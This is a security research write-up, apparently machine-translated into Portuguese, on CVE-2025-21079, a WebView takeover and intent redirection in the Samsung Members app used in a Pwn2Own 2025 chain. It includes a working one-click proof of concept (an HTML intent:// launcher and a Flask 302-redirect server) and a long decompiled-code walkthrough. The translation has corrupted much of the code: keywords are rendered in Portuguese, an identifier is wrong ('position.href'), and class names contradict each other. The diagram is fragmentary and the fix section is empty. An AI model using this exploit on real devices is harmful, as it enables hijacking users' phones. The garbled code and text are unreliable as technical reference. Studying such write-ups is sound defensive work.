Segurança

Pwn2Own 2025 - Parte 1: Apropriação do WebView e Redirecionamento de Intent da Samsung Members (CVE-2025-21079) - Djini.ai

A pesquisa apresentada no Pwn2Own Ireland 2025 e posteriormente em Black Hat 2026 destacou uma vulnerabilidade crítica (CVE-2025-21079) na aplicação Samsung Members que permite o controle de um WebView sem validação, possibilitando ataques de uma única clique. O estudo foi realizado por Ken Gannon e Dimitrios Valsamaras, resultando em um prêmio de $50.000 pela demonstração da exploração em um Samsung Galaxy S25.

Compartilhar
Pwn2Own 2025 - Part 1: Samsung Members WebView Takeover & Intent Redirection (CVE-2025-21079) - Djini.ai

Introdução

Este post é a Parte 1 da nossa série Pwn2Own 2025, cobrindo a vulnerabilidade que forneceu o ponto de entrada inicial na cadeia de exploração do Samsung Galaxy S25 demonstrada no Pwn2Own Irlanda 2025.

A cadeia completa foi desenvolvida por Ken Gannon e Dimitrios Valsamaras e demonstrada contra um Samsung Galaxy S25 em Pwn2Own Irlanda em outubro de 2025, ganhando um prêmio de $50.000. A pesquisa foi apresentada no Black Hat em agosto de 2026.

A SecurityWeek cobriu a pesquisa em Como uma cadeia de exploração de $50.000 fez o Bixby se voltar contra os telefones da Samsung, descrevendo como CVE-2025-21079 na Samsung Members fornece o ponto de entrada inicial acionável pelo navegador antes que a cadeia avance para Samsung Account e, finalmente, Bixby.

Cobertura da SecurityWeek:

https://www.securityweek.com/how-a-50000-exploit-chain-turned-bixby-against-samsung-phones/

Esta série irá desmembrar a cadeia de exploração uma vulnerabilidade por vez. Este primeiro artigo se concentra especificamente na apropriação do WebView e no primitivo de redirecionamento de Intent da Samsung Members.

No nível mais alto, a cadeia Pwn2Own progrediu através de vários componentes confiáveis:

Link malicioso → Samsung Members → Samsung Account → Bixby → comprometimento no sistema operacional

 

Bug1: CVE-2025-21079

O aplicativo Samsung Members expõe o Deeplink voc://view/newsAndTipsDetail, que é tratado pela Activity exportada com.samsung.android.voc.LauncherActivity. O aplicativo então inspeciona o objeto Intent recebido para:

 • Um Extra String chamado url
 • Um Extra String chamado viewType
 • Um Extra Booleano chamado ALLOW_WITHOUT_LOGIN

Quando esses Extras do Intent são fornecidos, o aplicativo carrega diretamente o valor do parâmetro url em um WebView sem validação, resultando na apropriação do WebView. Este WebView também contém um método shouldOverrideUrlLoading(WebView, WebResourceRequest) excessivamente permissivo.

Impacto

Como o filtro de Intent da atividade inclui a CATEGORY_BROWSABLE (i.e., pode ser iniciado por um navegador), os Extras do Intent podem ser fornecidos via uma URI de Intent, permitindo ataques em um único clique.

Se o WebView receber uma URL maliciosa para redirecionar, a Samsung Members pode ser forçada a iniciar um Activity exportado arbitrário, permitindo ataques em um único clique para iniciar um Activity exportado arbitrário.

Exploit

Abaixo está o arquivo usado nesta cadeia de links. Um atacante deve hospedar este código HTML e enganar um usuário para que ele toque no hiperlink em seu telefone:

<h1>
	<button style="height:200px;width:200px" onclick="yaystartyay()">yaypocyay</button>

	<script type="text/javascript">

		function yaystartyay() {
			var yayhostyay = "172.16.30.113"

			// abrir com.samsung.android.voc
			position.href="intent://view/newsAndTipsDetail#Intent;S.viewType=INAPP;scheme=voc;B.ALLOW_WITHOUT_LOGIN=true;S.url=http%3A%2F%2F" + yayhostyay + "%3A8000%2Fyayredirect1yay;end";
		}
	
	</script>
	<br>
</h1>
from flask import Flask, redirect, send_file, send_from_directory
from urllib.parse import quote

app = Flask(__name__)

yayhostyay = "<IP do atacante>"

# index.html
@app.route('/')
def index():
    return send_from_directory('', 'index.html')

# abrir atividade arbitrária
@app.route('/yayredirect1yay', methods=['GET', 'POST'])
def yayredirect1yay():
    # redirecionar para canal c2
    return redirect("<URI de intent>", code=302)

if __name__ == '__main__':
    app.run(debug=True, port=8000, host="0.0.0.0")

Detalhes Técnicos

A caminhada completa do código é bastante longa. Para ajudar com isso, aqui está um diagrama que resume a caminhada:

pass

Porta 2 · política canPerformActionLink() categoria ≠ Benefícios · não é uma conta filha → permitido

permitido

Porta 3 · login ALLOW_WITHOUT_LOGIN == true convertToAccountCheckPerformerIfNeeded() retorna performer inalterado

contorno da verificação de login

Roteamento ActionUri performers resolve → NewsAndTipsDetailActivity · startActivity()

WebView Fragment WebView criado JavaScript habilitado · WebViewClient = yi3

Porta 4 · carregamento viewType==INAPP && url começa com http url != null — todas as três condições são definidas pelo atacante

verdadeiro

Sujeira 1 · tomada de controle do WebView webView.loadUrl(url) página controlada pelo atacante é renderizada com JavaScript habilitado

servidor 302 → intent: URL

Redirecionamento yi3.shouldOverrideUrlLoading → oh6.L() string = request.getUrl().toString()

Porta 5 · intent string.startsWith(“intent:“) && pacote instalado Intent.parseUri(string, 1)

sim

Sujeira 2 · atividade arbitrária activity.startActivity(uri) qualquer Atividade instalada e exportada é lançada

entrada do atacante porta a ser satisfeita sujeira

A cadeia em uma linha: um intent lançável por navegador esconde uma url extra além da verificação do esquema voc:// e da verificação de login (ALLOW_WITHOUT_LOGIN=true) em uma chamada WebView.loadUrl não validada — então o permissivo shouldOverrideUrlLoading da WebView segue um redirecionamento 302 para uma URL intent: e lança qualquer Atividade instalada e exportada.

O aplicativo "Samsung Members" (com.samsung.android.voc versão 5.5.00.13) contém uma atividade exportada (com.samsung.android.voc.LauncherActivity) que pode ser lançada via Browsable Intent. Dependendo da URI de Dados anexada ao Intent, diferentes ações podem ser executadas quando o Intent é processado. LauncherActivity primeiro recupera o objeto Browsable Intent vindo através do método onCreate(Bundle) para realizar algumas verificações. Essas verificações incluem:

• Se o URI de dados começar com valores específicos
• Se o valor da Ação corresponder a valores específicos
• Qual aplicativo enviou a Intent Browsable (via getReferrer())

A classe uo2 será iniciada com um argumento inteiro de 8. Em seguida, o método invoke() dentro da classe uo2 será executado:

pública class LauncherActivity extends Activity {
...
public final void onCreate(Bundle bundle) {
    ...
    new uo2(this, 8).invoke();
}

Quando a classe i63 foi iniciada, o argumento inteiro 8 é salvo na variável estática b. Então, quando o método invoke() é executado, ocorre um caso de switch com base na variável estática b. Como este valor é 8, então o código que será executado:

• Recupera o objeto Intent que foi usado para iniciar LauncherActivity
• Verifica o objeto Intent por sua ação e categoria
• Executa o método b() dentro da classe LauncherActivity

pública final class uo2 implements ct2 {
...
public uo2(Object obj, int i) {
    this.b = i;
    this.e = obj;
}
...
public final Object invoke() {
    ...
    switch (this.b) {
        ...
        case 8:
            ...
            LauncherActivity launcherActivity = (LauncherActivity) obj;
            Intent intent = launcherActivity.getIntent();
            if (!launcherActivity.isTaskRoot() && intent != null && intent.hasCategory("android.intent.category.LAUNCHER") && TextUtils.equals(launcherActivity.getIntent().getAction(), "android.intent.action.MAIN")) {
                launcherActivity.finish();
            }
            ...
            launcherActivity.b();
            ...

O método b() então recupera o objeto Intent de entrada e passa-o para o método I(Activity, Intent) da classe b76:

public class LauncherActivity extends Activity {
...
public final void b() {
    ...
    b76.I(this, getIntent());
    finish();
}                                

O método I(Activity, Intent) realizará uma série de verificações. Dependendo do ciclo de vida atual da atividade, este método pode:

• Criar um novo objeto Intent que aponta para a classe com.samsung.android.voc.initialize.datainitialize.InitializeActivity
• Adicionar todos os extras, valores de dados e valor de ação do Intent de entrada ao novo objeto Intent
• Executar o método startActivity(Intent) contra o objeto Intent recém-criado:

public abstract class b76 {
...
public static final void I(Activity activity, Intent intent) throws FileNotFoundException {
...
try {
    ...
    Intent intent2 = c0(activity, InitializeActivity.class, intent);
    boolean z = (intent2.getFlags() & SearchView.FLAG_MUTABLE) != 0;
    if (!jm7.l(activity).booleanValue() || z) {
        activity.startActivity(intent2);
    ...
}                                

Se isso acontecer, então a classe InitializeActivity executará o método da classe b76, I(Activity, Intent).

Dentro do método I(Activity, Intent), o objeto Intent de entrada será enviado para o método H(Activity, Intent).

O método H(Activity, Intent) extrairá a URI de dados e os extras do Intent do objeto Intent. Se a URI de dados não estiver vazia, então a URI de dados e os extras serão passados para o método perform(Context, String, Bundle) da classe com.samsung.android.voc.common.actionlink.ActionUri.

Note que se o método I(Activity, Intent) nunca criou o objeto Intent que apontava para InitializeActivity, então o método H(Activity, Intent) teria sido executado em vez disso. Portanto, independentemente do que aconteça, sempre terminamos de volta no método H(Activity, Intent):

pública abstract class b76 {
...
public static final void I(Activity activity, Intent intent) throws FileNotFoundException {
...
tentar {
    ...
    se (((InitializeState) ab1.c.get()) != InitializeState.DEFAULT) {
        ...
        H(activity, intent);
...
}

public static final void H(Activity activity0, Intent intent0) {
    ...
    if(intent0 == null) {
        …
    }
    else {
        ...
        String dataString = intent0.getDataString();
        Bundle intentExtras = intent0.getExtras();
        ...
        se("com.samsung.android.voc.action.ACTION_RESTART".equals(
intent0.getAction())) {
            ...
        } else if(!TextUtils.isEmpty(dataString)) {
            ...
            KhorosWebHosts.Companion.getClass();
            boolean z = zw3.a(dataString); // verifica se a URI de Dados é uma URL conhecida de KhorosWebHosts
            ArticleAppLink.Companion.getClass();
            boolean z1 = j47.I0(dataString, "https://contents.samsungmembers.com/v1/share/article", false); // verifica se a URI de Dados começa com um valor específico
            if(!j47.I0(dataString, "http", false) || z || z1) { // A URI de Dados não deve começar com http
                ...
                ActionUri.GENERAL.perform(activity0, dataString, intentExtras);
            }
...                                

O método perform(Context, String, Bundle) enviará a URI de Dados para o método canPerformActionLink(Context, String).

Dentro do método canPerformActionLink(Context, String), uma série de verificações adicionais são realizadas. A única verificação que nos interessa é quando a URI de Dados é passada para o método from(String), que retorna um novo objeto ActionUri:

pública final class ActionUri {
...
public void perform(Context context, String str, Bundle bundle) {
    if (str == null) {
        str = toString();
    }
    se (!canPerformActionLink(context, str)) {
        zd1.x("Não é possível lidar com o link de ação: ", str, TAG);
    ...
}
...
público static boolean canPerformActionLink(Context context, String str) {
    ...
    ActionUri actionUriFrom = from(str);
    …
}                                

O método from(String) então realiza uma correspondência de padrão URI com a URI de Dados:

pública final class ActionUri {
...
público static ActionUri from(String str) {
    int iMatch = uriMatcher.match(Uri.parse(str));
    se (iMatch != -1) {
        return uris[iMatch];
    }
    return null;
}                                

Os valores permitidos são um conjunto de variáveis estáticas estabelecidas por um objeto Construtor. Primeiro, o valor do Construtor ActionUri(String, int, Category, String, String, boolean, boolean) é executado, que também define:

· Autoridade
· Caminho
· Categoria
· Se o valor for “Public”
· performerCreator com um valor nulo (voltaremos a isso mais tarde)

public final class ActionUri {
...
private ActionUri(String str, @NonNull int i, @NonNull Category category, String str2, String str3, boolean z, boolean z2) {
    this.authority = str2;
    this.path = str3;
    this.category = category;
    this.fullPath = build("voc", str2, str3);
    this.performerCreator = null;
    this.isPublic = z;
    this.isLogoutAccess = z2;
}

A classe ActionUri estabelece variáveis estáticas com diferentes autoridades, caminhos e valores de isPublic. Para este exploit, vamos usar a variável NEWS_AND_TIPS_ACTIVITY, que define:

· Valor de autoridade view
· Valor de caminho newsAndTips
· Valor de categoria NewsAndTips
· Público é true

public final class ActionUri {
...
static {
    Category category = Category.None;
    MAIN_ACTIVITY = new ActionUri("MAIN_ACTIVITY", 0, category, "view", "main", true, true);
    NORMAL_MAIN_ACTIVITY = new ActionUri("NORMAL_MAIN_ACTIVITY", 1, category, "view", "normalMain", false, true);
    ...
    Category category4 = Category.NewsAndTips;

    NEWS_AND_TIPS_ACTIVITY = new ActionUri("NEWS_AND_TIPS_ACTIVITY", 44, category4, "view", "newsAndTips", true);
    NEWS_AND_TIPS_DETAIL = new ActionUri("NEWS_AND_TIPS_DETAIL", 45, category4, "view", "newsAndTipsDetail", true);
    ...
}

Com essa informação, agora sabemos que um exemplo de URI válida deve ser voc://view/newsAndTips.

Com nossa URI válida de exemplo, agora sabemos que o método from(String) retornará um objeto ActionUri não nulo.

Voltando ao método canPerformActionLink(Context, String), o objeto ActionUri é inspecionado em relação ao seu valor de Categoria. Além disso, a conta Samsung que está logada no Samsung Members também é verificada para informações básicas, como “é uma conta infantil?”.

canPerformActionLink(Context, String) retornará true se o valor da Categoria não for igual a Benefits e se a conta Samsung não for uma conta de criança:

public final class ActionUri {
...
public static boolean canPerformActionLink(Context context, String str) {
    ...
    AccountData accountData = wa4.S().a(); // recupera informações da conta
    ActionUri actionUriFrom = from(str);
    Category category = actionUriFrom == null ? Category.None : actionUriFrom.category;
    if (category == Category.Community && s76.f(context, accountData)) {
        nf7.l0(context, R.string.community_not_old_enough, 1);
        return false;
    }
    if (category != Category.Benefits || !k36.e(context, accountData)) {
        return true;
    }
    nf7.l0(context, R.string.benefit_not_old_enough, 1);
    return false;
}

Voltando ao método perform(Context, String, Bundle), como canPerformActionLink(Context) retornou true, então a URI de dados e os extras são enviados para o método doAction(Context, String, Bundle):

public final class ActionUri {
...
public void perform(Context context, String str, Bundle bundle) {
    if (str == null) {
        str = toString();
    }
    if (!canPerformActionLink(context, str)) {
        zd1.x("Cannot handle the action link: ", str, TAG);
    } else {
        doAction(context, str, bundle);
    }
}

O método doAction(Context, String, Bundle) criará primeiro um novo objeto lu4 via o método createPerformer(). Se createPerformer() for nulo, então será executado GENERAL.createPerformer().

createPerfomer() cria um novo objeto mu4 com base no valor de performerCreator. Como mencionado anteriormente, performerCreator é definido como null. Portanto, createPerformer() retorna null, e então GENERAL.createPerformer() é executado:

pública final class ActionUri {
...
private void doAction(Context context, String str, Bundle bundle) {
    ...
    yu4 yu4 = createPerformer();
    if (yu4 == null) {
        yu4 = GENERAL.createPerformer();
    }
    ...
pública yu4 createPerformer() {
    zu4 zu4Var = this.performerCreator;
    if (zu4Var == null) {
        return null;
    ...\t

Antes de continuarmos, é importante mencionar que a aplicação contém uma classe Application chamada com.samsung.android.voc.VocApplication:\t

<pre style="background-color: #2b3a5a; color: #e6edf3; padding: 12px; border-radius: 6px; font-family: 'JetBrains Mono', 'Fira Code', Consolas, monospace; font-size: 14px; line-height: 1.5; width: 600px;">
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="550013000"
    android:versionName="5.5.00.13"
...
<application
        android:theme="@style/VocAppTheme"
        android:label="@string/app_name"
        android:icon="@mipmap/app_icon"
        android:name="com.samsung.android.voc.VocApplication"\t

Esta classe é executada antes de qualquer outra classe na aplicação. Durante o método onCreate() nesta classe, uma nova classe av4 é criada com um valor inteiro de 4. A classe av4 implementa a classe zu4.\t

Dentro de nu4, quando é iniciado, ele salvará o argumento inteiro na variável estática b.\t

pública class VocApplication extends Application implements sx2, xh3 {
…
@Override  // android.app.Application
public final void onCreate() {
    ...
    av4 av426 = new av4(4);
    ActionUri.GENERAL.setPerformerCreator(av426);
    …\t
pública final class av4 implements zu4 {

pública final int b;

public nu4(int v) {
    this.b = v;
    super();
}\t

Em seguida, este objeto nu4 é enviado para a classe ActionUri método setPerformerCreator(mu4) dentro de uma instância GENERAL de ActionUri:\t

public class VocApplication extends Application implements sx2, xh3 {
…
@Override  // android.app.Application
public final void onCreate() {
    ...
    av4 av426 = new av4(4);
    ActionUri.GENERAL.setPerformerCreator(av426);
    …
public final class ActionUri {
...
public void setPerformerCreator(zu4 zu4Var) {
    this.performerCreator = zu4Var;
}

Voltando à classe ActionUri método doAction(Context, String, Bundle), já que o original createPerformer() retornou null, então GENERAL.createPerformer() é executado. Isso força a instância GENERAL de ActionUri a executar createPerformer(). Mas nesta instância, performerCreator contém uma nova classe av4.

Dentro da classe av4, o método create() é executado. O resultado de create() é retornado:

public final class ActionUri {
...
private void doAction(Context context, String str, Bundle bundle) {
    ...
    yu4 yu4 = createPerformer();
    if (yu4 == null) {
        yu4 = GENERAL.createPerformer();
    }
    ...
public yu4 createPerformer() {
    zu4 zu4Var = this.performerCreator; // contém a classe av4
    ...
    return zu4Var.create();

Olhando para a classe av4 método create(), outro caso de switch ocorre, com base no valor da variável estática b. Como b já foi definido como 4, então o método getGeneralPerformer() da classe px2 é executado:

public final class nu4 implements mu4 {
...
public final av4 create() {
        switch(this.b) {
        ...
            case 4: {
                return px2.getGeneralPerformer();
            }
        ...

Olhando para a classe px2 método getGeneralPerformer(), retornará um novo objeto e21 com um argumento inteiro de 2.

Olhando para a classe e21, o argumento inteiro é salvo na variável estática a. Além disso, e21 implementa a classe yu4:

public abstract class px2 {
    @h4(ActionUri.GENERAL)
    public static yu4 getGeneralPerformer() {
        return new e21(2);
    }
}                                
public final class e21 implements yu4 {
...
public e21(int v) {
    this.a = v;
    ...                                

Isto significa que, dentro da classe ActionUri método doAction(Context, String, Bundle), uma nova instância de ez0 é salva na variável lu4:

public final class ActionUri {
...
private void doAction(Context context, String str, Bundle bundle) {
    ...
    yu4 yu4 = createPerformer();
    if (yu4 == null) {
        yu4 = GENERAL.createPerformer();
    }
    ...
public yu4 createPerformer() {
    zu4 zu4Var = this.performerCreator; // contém a classe av4
    if (mu4Var == null) {
        return null;
    return mu4Var.create(); // retorna a nova classe e21                                

Continuando com doAction(Context, String, Bundle), desde que o objeto yu4 não seja nulo, ele é passado para o método convertToAccountCheckPerformerIfNeeded(yu4, String, Bundle) junto com a URI de dados e extras do Intent.

Olhando para convertToAccountCheckPerformerIfNeeded(yu4, String, Bundle), se os extras do Intent contiverem um valor Booleano KEY_ALLOW_WITHOUT_LOGIN definido como true, então o objeto yu4 é retornado inalterado:

public final class ActionUri {
...
private void doAction(Context context, String str, Bundle bundle) {
    ...
    yu4 yu4 = createPerformer();
    if (yu4 == null) {
        yu4 = GENERAL.createPerformer();
    }
    if (yu4 != null) {
        yu4 yu42 = convertToAccountCheckPerformerIfNeeded(yu4, str, bundle);
        ...
...
private static yu4 convertToAccountCheckPerformerIfNeeded(yu4 yu4Var, String str, @Nullable Bundle bundle) {
    return ((bundle == null || !bundle.getBoolean(KEY_ALLOW_WITHOUT_LOGIN, false)) && needCovertToAccountCheckPerformer(yu4Var, str)) ? new m3(yu4Var) : yu4Var;
}                                

Continuando com doAction(Context, String, Bundle), o objeto yu4 retornado é salvo na variável yu42. Em seguida, dentro do objeto que é salvo em luv2, o método a(Context, String, Bundle) é executado.

Anteriormente, já estabelecemos que a classe ez0 é salva na variável yu4, que também é salva na variável yu42. Por causa disso, o método a(Context, String, Bundle) é executado dentro do objeto e21:

public final class ActionUri {
...
private void doAction(Context context, String str, Bundle bundle) {
    ...
    yu4 yu4 = createPerformer();
    if (yu4 == null) {
        yu4 = GENERAL.createPerformer();
    }
    if (yu4 != null) {
        yu4 yu42 = convertToAccountCheckPerformerIfNeeded(yu4, str, bundle);
        ...
        yu42.a(context, str, bundle);
... 

Dentro da classe e21 método a(Context, String, Bundle), ocorre um caso de switch com base na variável estática a. Como essa variável já foi definida como 2, então o Data URI e os extras do Intent são enviados para a classe pr6 método W(Context, String, Bundle):

public final class e21 implements yu4 {
...
public final void a(Context context0, String s, Bundle bundle0) {
    switch(this.a) {
        ...
        case 2: {
            pr6.W(context0, s, bundle0);
            return;
        }

Dentro da classe pr6 método W, um novo objeto yu4 é criado com base no resultado do método ActionUri.getPerformer(String, Bundle):

public abstract class pr6 {
...
public static void W(Context context0, String s, Bundle bundle0) {
    ...
    yu4 yu40 = ActionUri.getPerformer(s, bundle0);
    ... 

Observando o método getPerformer(String Bundle), ocorre outra função Uri Matcher com base no valor do Data URI. O resultado dessa Uri Matcher resulta na criação de outro objeto yu4. Se esse objeto yu4 for null, então outro createPerformer() é executado contra um objeto ActionUri baseado no valor do Data URI. Neste caso, o objeto ActionUri será uma instância de NEWS_AND_TIPS_ACTIVITY:

pública final class ActionUri {
...
static {
    ...
    NEWS_AND_TIPS_ACTIVITY = new ActionUri("NEWS_AND_TIPS_ACTIVITY", 44, category4, "view", "newsAndTips", true);
    ...
pública static yu4 getPerformer(@NãoNulo String str, @Nullable Bundle bundle) {
    int iMatch = uriMatcher.match(Uri.parse(str));
    if (iMatch == -1) {
        return null;
    }
    Map map = performers;
    yu4 yu4 = map.get(Integer.valueOf(iMatch));
    if (yu4 == null) {
        yu4 = uris[iMatch].createPerformer();
    }                                

Antes de continuarmos, precisamos voltar para a classe VocApplication. Novamente, dentro do método onCreate(), um novo objeto bv4 é criado com o argumento Integer 17. Além disso, a classe bv4 implementa a classe zu4.

Dentro de bv4, quando é iniciado, ele salvará o argumento inteiro para a variável estática b:

pública final class VocApplication extends Application implements sx2, xh3 {
…
@Override  // android.app.Application
public final void onCreate() {
    ...
    bv4 bv416 = new bv4(17);
    ActionUri.NEWS_AND_TIPS_ACTIVITY.setPerformerCreator(bv416);
    …                                
pública final class bv4 implements zu4 {
pública final int b;

pública bv4(int v) {
    this.b = v;
    super();
}                                

Em seguida, este objeto bv4 é enviado para a classe ActionUri método setPerformerCreator(zu4) dentro de uma instância NEWS_AND_TIPS_ACTIVITY da classe ActionUri. O objeto bv4 é salvo na variável estática perfomerCreator:

pública class VocApplication extends Application implements sx2, xh3 {
...

@Override // android.app.Application
public final void onCreate() {
    ...
    bv4 bv416 = new pu4(17);
    ActionUri.NEWS_AND_TIPS_ACTIVITY.setPerformerCreator(bv416);
    ...
pública final class ActionUri {
...

public void setPerformerCreator(zu4 zu4Var) {
    this.performerCreator = zu4Var;
}

Voltando à classe ActionUri método getPerformer(String, Bundle), como mencionado anteriormente, ele executará createPerformer(). Isso recuperará o objeto bv4 e executará o método create(). O resultado deste método create() será retornado:

pública final class ActionUri {
...

static {
    ...
    NEWS_AND_TIPS_ACTIVITY = new ActionUri("NEWS_AND_TIPS_ACTIVITY", 44, category4, "view", "newsAndTips", true);
    ...
public static yu4 getPerformer(@NonNull String str, @Nullable Bundle bundle) {
    int iMatch = uriMatcher.match(Uri.parse(str));
    if (iMatch == -1) {
        return null;
    }
    Map map = performers;
    yu4 yu4 = map.get(Integer.valueOf(iMatch));
    if (yu4 == null) {
        yu4 = uris[iMatch].createPerformer();
    }
...
public yu4 createPerformer() {
    zu4 zu4Var = this.performerCreator;
    if (zu4Var == null) {
        return null;
    }
    return zu4Var.create();
}

Dentro da classe bv4 método create(), ocorre um caso de switch baseado na variável estática b. Como b já foi definido como 17, isso retornará o resultado do método getNewsAndTipsDetailPerformer() da classe rn4.

O método getNewsAndTipsDetailPerfomer() retorna um novo objeto qn4 com um argumento inteiro de 0.

Dentro da classe qn4, o argumento inteiro é salvo na variável estática a:

público final class bv4 implements zu4 {
...
public final bv4 create() {
        switch(this.b) {
            ...
            case 17: {
                return rn4.getNewsAndTipsDetailPerformer();
            }
público abstrato class rn4 {
@g4(ActionUri.NEWS_AND_TIPS_DETAIL)
public static yu4 getNewsAndTipsDetailPerformer() {
    return new qn4(0);
}
público final class qn4 implements yu4 {
public final int a;

public qn4(int v) {
    this.a = v;
    ...

Voltando para o método getPerformer(String, Bundle), o método createPerformer() retornou a classe qn4 e salvou na variável yu4.

Novamente, outra variável yu42 é criada e isso se baseia no resultado de convertToAccountCheckPerformerIfNeeded(yu4, String, Bundle). Assim como da última vez, isso simplesmente retorna a variável yu4, inalterada, que é salva em yu42.

Finalmente, getPerformer(String, Bundle) retorna a variável yu42, que contém a classe qn4:

público final class ActionUri {
...
static {
    ...
    NEWS_AND_TIPS_ACTIVITY = new ActionUri("NEWS_AND_TIPS_ACTIVITY", 44, category4, "view", "newsAndTips", true);
    ...
public static yu4 getPerformer(@NonNull String str, @Nullable Bundle bundle) {
    int iMatch = uriMatcher.match(Uri.parse(str));
    if (iMatch == -1) {
        return null;
    }
    Map<integer, yu4> map = performers;
    yu4 yu4 = map.get(Integer.valueOf(iMatch));
    if (yu4 == null) {
        yu4 = uris[iMatch].createPerformer(); // retorna a classe qn4
    }
    yu4 yu42 = convertToAccountCheckPerformerIfNeeded(yu4, str, bundle);
    ...
    return yu42;
...}qn4
}
yu4 yu42 = convertToAccountCheckPerformerIfNeeded(yu4, str, bundle);
...
return yu42;
...

Voltando para a classe pr6 e o método W, o método getPerformer(String, Bundle) retornou um objeto eh3, que é salvo na variável yu40.

Como yu40 não é nulo, o método a(Context, String, Bundle) é executado dentro do objeto salvo. Portanto, neste caso, o método a(Context, String, Bundle) da classe qn4 é executado. A URI de dados e os extras de Intent também são passados para este método:

pública abstract class pr6 {
...
public static void W(Context context0, String s, Bundle bundle0) {
    ...
    yu4 yu40 = ActionUri.getPerformer(s, bundle0);
    if(yu40 != null) {
        yu40.a(context0, s1, bundle0);
    ...

Dentro da classe qn4 método a(Context, String, Bundle), ocorre um caso de switch baseado na variável estática a. Como essa variável já foi definida como 0, então os seguintes objetos são passados para o método da interface yu4 c(Context, Class, Bundle, ActivityOptions):

• A classe NewsAndTipsDetailActivity
• As extras do Intent

pública final class qn4 implements yu4 {
...
public final void a(Context context, String str, Bundle bundle) {
    String queryParameter;
    switch (this.a) {
        ...
        case 0:
            ...
            yu4.c(context, NewsAndTipsDetailActivity.class, bundle, null);
            break;
        ...

O método c da interface yu4 criará um novo objeto Intent, definirá a classe para NewsAndTipsDetailActivity, e adicionará as extras do Intent passado ao novo objeto Intent. Em seguida, o método startActivity(Intent, Bundle) é executado contra o novo objeto Intent criado:

pública interface yu4 {
...
static void c(Context context, Class cls, Bundle bundle, ActivityOptions activityOptions) {
    Intent intent = wa4.O(); // cria um novo objeto Intent
    intent.setClass(context, cls);
    if (bundle != null) {
        intent.putExtras(bundle);
        intent.addFlags(bundle.getInt("launchFlags", 0));
    }
    ...
    if (activityOptions == null) {
        context.startActivity(intent);
    ...

Quando a classe NewsAndTipsDetailActivity é iniciada, o método onCreate(Bundle) é executado. Nesse método, um novo objeto fragmento gn4 é inicializado e as extras do Intent que foram anexadas ao objeto Intent são definidas como os argumentos do fragmento.

Em seguida, o objeto fragmento é passado para a classe com.samsung.android.voc.common.ui.BaseActivity método q(Fragment):

public class NewsAndTipsDetailActivity extends t43 implements vk {
...
public final void onCreate(Bundle bundle) {
    ...
    if (bundle == null) {
        gn4 gn4Var = new xk4();
        Bundle extras = intent.getExtras();
        if (extras != null) {
            gn4Var.setArguments(extras);
        }
        t(gn4Var);
    }                                

Dentro da classe BaseActivity, o método t(Fragment) substitui a interface do usuário com o objeto fragmento gn4:

public class BaseActivity extends AccountCheckActivity {
...
public final void q(Fragment fragment) {
    ...
    FragmentManager supportFragmentManager = getSupportFragmentManager();
    FragmentTransaction fragmentTransactionBeginTransaction = supportFragmentManager.beginTransaction();
    fragmentTransactionBeginTransaction.replace(R.id.container, fragment, str);
    fragmentTransactionBeginTransaction.commitAllowingStateLoss();
    supportFragmentManager.executePendingTransactions();
}                                

Dentro do objeto fragmento gn4, o método onActivityCreated(Bundle) é executado. Neste método:

• Um novo cliente WebView é criado, com JavaScript habilitado
• Os argumentos do fragmento são recuperados via getArguments(), e os extras da Intent são salvos no objeto Bundle arguments

public class gn4 extends l53 {
...
public final void onActivityCreated(Bundle bundle) {
    ...
    wr2 wr2Var = this.x;
    if (wr2Var != null) {
        ...
        WebSettings settings = this.x.m.getSettings();
        ...
        settings.setJavaScriptEnabled(true);
        ...
        this.x.m.setWebViewClient(new yi3(this, 1));
        this.x.m.setWebChromeClient(new dn4(this, getActivity()));
        …
        Bundle arguments = getArguments();
    ...                                

Movendo-se para frente no método onActivityCreated(Bundle), o objeto Bundle arguments é verificado pelas seguintes condições:

• Se o valor String viewType for igual ao valor INAPP
• Se o valor String url não for null
• Se o valor String url começar com http

Se todas as três verificações forem true, então o valor String url é salvo na variável String str:

public class xk4 extends g33 {
...
public final void onActivityCreated(Bundle bundle) {
    ...
    wr2 wr2Var = this.x;
    if (wr2Var != null) {
        ...
        WebSettings settings = this.x.m.getSettings();
        ...
        settings.setJavaScriptEnabled(true);
        ...
        this.x.m.setWebViewClient(new yi3(this, 2));
        this.x.m.setWebChromeClient(new dn4(this, getActivity()));
        …
        Bundle arguments = getArguments();
        String str = "";
        if (arguments != null && TextUtils.equals(arguments.getString("viewType", ""), NoticeItem.VIEW_TYPE_INAPP) && (string = arguments.getString("url", "")) != null && string.startsWith("http")) {
            str = string;
        }
        ...

Em seguida, se a variável str não for null, o WebView carrega a URL especificada em str via loadUrl(String):

public class gn4 extends l53 {
...
public final void onActivityCreated(Bundle bundle) {
    ...
    wr2 wr2Var = this.x;
    if (wr2Var != null) {
        ...
        WebSettings settings = this.x.m.getSettings();
        ...
        settings.setJavaScriptEnabled(true);
        ...
        this.x.m.setWebViewClient(new yi3(this, 2));
        this.x.m.setWebChromeClient(new dn4(this, getActivity()));
        …
        Bundle arguments = getArguments();
        String str = "";
        if (arguments != null && TextUtils.equals(arguments.getString("viewType", ""), NoticeItem.VIEW_TYPE_INAPP) && (string = arguments.getString("url", "")) != null && string.startsWith("http")) {
            str = string;
        }
        if (!TextUtils.isEmpty(str)) {
            this.x.m.loadUrl(str);
        }
        ...

Quando o WebView recebe um código de redirecionamento 302 Redirect do servidor web, o método da classe yi3, shouldOverrideUrlLoading(WebView, WebResourceRequest), é executado. A URL de redirecionamento é recuperada via getUrl().toString() e salva na variável String string. Em seguida, a variável string é passada para o método da classe oh6, L(Activity, String):

public final class yi3 extends WebViewClient {
...
public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) {
    switch (this.a) {
        ...
        case 5:
            ...
            String string = webResourceRequest.getUrl().toString();
            ...
            return oh6.L(webActivity, string);
      ...

Dentro do método L(Activity, String), a URL redirecionada é verificada se começa com intent:. Se sim, então a URL redirecionada é passada para o método da classe android.content.Intent, parseUri(String, int).

O resultado de parseUri(String, int) será um novo objeto Intent baseado no conteúdo da URL redirecionada.

Dando continuidade, se o novo objeto Intent criado tiver um valor Package definido, então startActivity(Intent) é executado contra o novo objeto Intent criado:

public final class oh6 implements du7, rs1, c22, yr5, sv7, hr4, kl5 {
...
public static boolean L(Activity activity, String str) throws URISyntaxException {
    if (TextUtils.isEmpty(str)) {
        return true;
    }
    try {
        if (str.startsWith("intent:")) {
            Intent uri = Intent.parseUri(str, 1);
            if (activity.getPackageManager().getPackageInfo(uri.getPackage(), 0) != null) {
                activity.startActivity(uri);
            ...

Recomendação / Correção

